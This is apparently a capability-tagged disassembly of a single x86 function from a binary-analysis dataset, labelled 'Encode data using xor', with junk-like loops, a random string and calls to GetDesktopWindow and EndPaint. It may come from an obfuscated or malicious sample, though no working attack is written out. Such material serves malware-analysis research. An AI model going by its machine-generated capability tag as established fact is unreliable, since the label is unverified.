Function at 0x10036daa
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1005c64f
call fcn.1005ab18
sub esp, 0x64
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x34], edi
je 0x100370ac
push 7
pop esi
xor ebx, ebx
mov dword [ebp - 0x5c], esi
xor eax, eax
mov dword [ebp - 0x60], ebx
mov word [ebp - 0x70], ax
push 1
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], ebx
call fcn.10002067
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x20]
mov dl, 1
push eax
call fcn.10036a78
pop ecx
pop ecx
mov dword [ebp - 0x20], ebx
jmp 0x10036e12
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x40], 0x4c506d44
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10036e04
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], ebx
jl 0x10036e4d
mov dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
cmp dword [eax + ecx*4], 3
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setle cl
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x3c]
jns 0x10036e20
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], bl
call fcn.100020ea
push 0x11dd
lea eax, [ebp + 0x14]
push eax
push 1
push 0x75e3
push ecx
lea eax, [ebp - 0x70]
push 0x69f3
push eax
call fcn.10036ad7
mov eax, dword [0x10078a88]
add esp, 0x1c
test al, 1
jne 0x10036ea3
or eax, 1
mov dword [0x10078a88], eax
push 0x7fee
mov byte [ebp - 4], 2
call fcn.10015f04
pop ecx
mov word [0x10078a8c], ax
mov byte [ebp - 4], bl
mov dword [ebp - 0x30], 0x41b0
cmp dword [ebp - 0x30], 0x435a
jle 0x10036edd
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075eb8
xor eax, esi
cdq
push edx
push eax
call fcn.10001edd
inc edi
cmp edi, 0x2ca5
jl 0x10036eb7
inc esi
cmp esi, 0x27c7
jl 0x10036eb5
mov edi, dword [ebp - 0x34]
xor ecx, ecx
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x10036ef6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x28], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10036eec
mov dword [ebp - 0x24], ebx
jmp 0x1003701e
push 2
lea ecx, [ebp - 0x58]
call fcn.10002067
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x38]
mov dl, 1
push eax
push 0x7c25
push 0x38b4
push 1
mov cl, dl
call fcn.10036bba
push 1
push ecx
call fcn.10036698
mov esi, dword [ebp - 0x58]
add esp, 0x1c
mov dword [esi + 4], ebx
mov dword [ebp - 0x18], ebx
jmp 0x10036f52
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1c], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10036f44
mov dword [ebp - 0x1c], ebx
jmp 0x10036ffa
mov dword [ebp - 0x18], 0x46cdead9
mov dword [ebp - 0x18], ebx
jmp 0x10036fdd
push ecx
push 0x729d
push 0x5088
push ecx
mov dword [ebp - 0x2c], 0xfffffff9
lea ecx, [ebp - 0x11]
mov byte [ebp - 0x11], bl
push 1
call fcn.100366f1
mov eax, dword [ebp - 0x18]
add esp, 0x14
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x1c], ebx
jne 0x10036fa7
mov eax, dword [ebp - 0x28]
cmp eax, dword [esi + 4]
jle 0x10036fa7
mov eax, ebx
jmp 0x10036faa
xor eax, eax
inc eax
xor edx, edx
cmp eax, 6
mov eax, dword [ebp - 0x1c]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp dword [esi + 4], ecx
setge al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x28], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10036f6c
push 0xb14
push 1
push ecx
mov edx, 0x394a
call fcn.10036d4e
add esp, 0xc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10036f60
inc dword [esi + 4]
cmp dword [esi + 4], 0
jle 0x10036f3f
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], bl
call fcn.100020ea
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10036f03
mov byte [ebp - 4], 4
cmp dword [ebp - 0x30], 0x3fe6
jge 0x10037064
mov edx, str.wnn_dfpaqu_etrbxql_fkzohb_ygflmsjy_edkyczjho_qlwxojrzq
mov ecx, 0x10075eb8
call fcn.10003d9f
jmp 0x10037064
push 0x3715
push ecx
push 1
push 0x5a91
push ecx
push ecx
lea eax, [ebp + 0x14]
mov dword [ebp - 4], ebx
push eax
sub esp, 0x10
lea ecx, [ebp - 0x70]
push 0x10078a8c
call fcn.1003688a
lea eax, [ebp - 0x70]
add esp, 0x30
cmp edi, eax
je 0x1003709f
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.10002486
push ebx
push 1
lea ecx, [ebp - 0x70]
call fcn.10002560
jmp 0x100370c3
mov eax, dword [ebp + 0x18]
cmp byte [eax], 0
je 0x100370c3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret